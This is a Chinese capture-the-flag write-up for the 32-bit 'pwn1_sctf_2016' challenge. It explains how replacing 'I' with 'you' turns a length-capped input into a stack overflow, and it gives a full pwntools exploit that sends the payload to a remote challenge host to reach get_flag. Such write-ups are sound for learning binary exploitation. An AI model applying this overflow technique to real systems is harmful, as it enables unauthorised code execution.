zoukankan      html  css  js  c++  java
  • pwn1_sctf_2016

    0x01

    拿到文件先检查一下

    32位程序

    开启了NX保护

    IDA静态分析一下

    分配的s空间为60,限制输入32,乍一看是不会造成栈溢出的,但是下面有一个字符替换,就是输入I会被替换成you。I是一个字符,you是三个字符,那么我们可以输入20个I(满足32的限制),那么这20个I,最终被替换成了60个字符,从而造成溢出

    0x02

    exp:

    from pwn import *
    
    filename = 'pwn1_sctf_2016'
    e = ELF(filename)
    get_flag = e.symbols['get_flag'] 
    
    HOST = 'node3.buuoj.cn'
    PORT = 25788
    content = 0
    
    def main():
    	try:
    		if content == 1:
    			p = process(filename)
    		else:
    			p = remote(HOST,PORT)
    	except:
    		print("[!]The content is error")
    
    	payload = b'I' * 20 + b'a' * 4 + p64(get_flag)
    	
    	p.sendline(payload)
    
    	p.interactive()
    
    main()
    

    执行结果:

    得到flag

  • 相关阅读:
    [C语言
    [C语言
    [C语言
    [C语言
    [C语言
    [C语言
    [iOS]超详细Apache服务器的配置(10.10系统)
    IOS优秀博客
    「C」 数组、字符串、指针
    103.Binary Tree Zigzag Level Order Traversal(层序遍历)
  • 原文地址:https://www.cnblogs.com/Jleixin/p/13332348.html
Copyright © 2011-2022 走看看